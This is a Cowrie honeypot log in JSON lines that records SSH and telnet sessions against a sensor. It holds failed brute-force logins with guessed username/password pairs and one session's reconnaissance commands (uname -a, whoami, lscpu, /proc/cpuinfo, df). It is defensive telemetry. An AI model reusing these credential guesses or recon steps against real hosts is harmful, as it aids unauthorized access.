{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:07.550692Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.023648Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.027411Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":50270,"dst_ip":"159.203.135.109","dst_port":22,"session":"87adc59ac626","protocol":"ssh","message":"New connection: 201.6.100.191:50270 (159.203.135.109:22) [session: 87adc59ac626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.153990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.160092Z","src_ip":"201.6.100.191","session":"87adc59ac626","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.241094Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.291110Z","src_ip":"201.6.100.191","session":"87adc59ac626","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.712448Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.716069Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composeruser","password":"123456","message":"login attempt [composeruser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.848830Z","src_ip":"201.6.100.191","session":"87adc59ac626","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:08.929911Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:09.400810Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:09.404525Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:09.617098Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:09.980608Z","src_ip":"201.6.100.191","session":"87adc59ac626","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:10.095043Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:10.098628Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:10.313649Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:10.791115Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:10.795318Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:11.009719Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:11.483400Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:11.486914Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:11.701500Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:12.185100Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:12.189322Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:12.406195Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.6","message":"Connection lost after 18.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:12.411513Z","src_ip":"181.97.227.163","session":"fb207c473c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.978201150894165,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:22.338972Z","src_ip":"135.148.33.91","session":"2fe0761c28ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44570,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c82e756ecca","protocol":"ssh","message":"New connection: 2.57.122.208:44570 (159.203.135.109:22) [session: 7c82e756ecca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:22.679233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:22.718092Z","src_ip":"2.57.122.208","session":"7c82e756ecca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:22.822465Z","src_ip":"2.57.122.208","session":"7c82e756ecca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:23.520213Z","src_ip":"2.57.122.208","session":"7c82e756ecca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:24.728177Z","src_ip":"2.57.122.208","session":"7c82e756ecca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":45930,"dst_ip":"10.17.0.5","dst_port":22,"session":"d68598ff4092","protocol":"ssh","message":"New connection: 101.36.106.162:45930 (10.17.0.5:22) [session: d68598ff4092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:27.622637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:27.628766Z","src_ip":"101.36.106.162","session":"d68598ff4092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:27.844527Z","src_ip":"101.36.106.162","session":"d68598ff4092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7002,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c1c83d2fec4","protocol":"ssh","message":"New connection: 131.161.219.137:7002 (159.203.135.109:22) [session: 2c1c83d2fec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:28.339769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:28.344757Z","src_ip":"131.161.219.137","session":"2c1c83d2fec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:28.483306Z","src_ip":"131.161.219.137","session":"2c1c83d2fec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecoserver","password":"ecoserver","message":"login attempt [ecoserver/ecoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:28.736071Z","src_ip":"101.36.106.162","session":"d68598ff4092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testguy","password":"testguy","message":"login attempt [testguy/testguy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:29.026083Z","src_ip":"131.161.219.137","session":"2c1c83d2fec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:29.954457Z","src_ip":"101.36.106.162","session":"d68598ff4092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:30.157754Z","src_ip":"131.161.219.137","session":"2c1c83d2fec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.42.205.100","src_port":50328,"dst_ip":"10.17.0.5","dst_port":22,"session":"9335cdfc5b7b","protocol":"ssh","message":"New connection: 194.42.205.100:50328 (10.17.0.5:22) [session: 9335cdfc5b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:57.571009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:57.576092Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:57.692196Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3173699c9fb","protocol":"ssh","message":"New connection: 181.97.227.163:34492 (10.17.0.5:22) [session: a3173699c9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.226044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.230659Z","src_ip":"181.97.227.163","session":"a3173699c9fb","protocol":"ssh"}
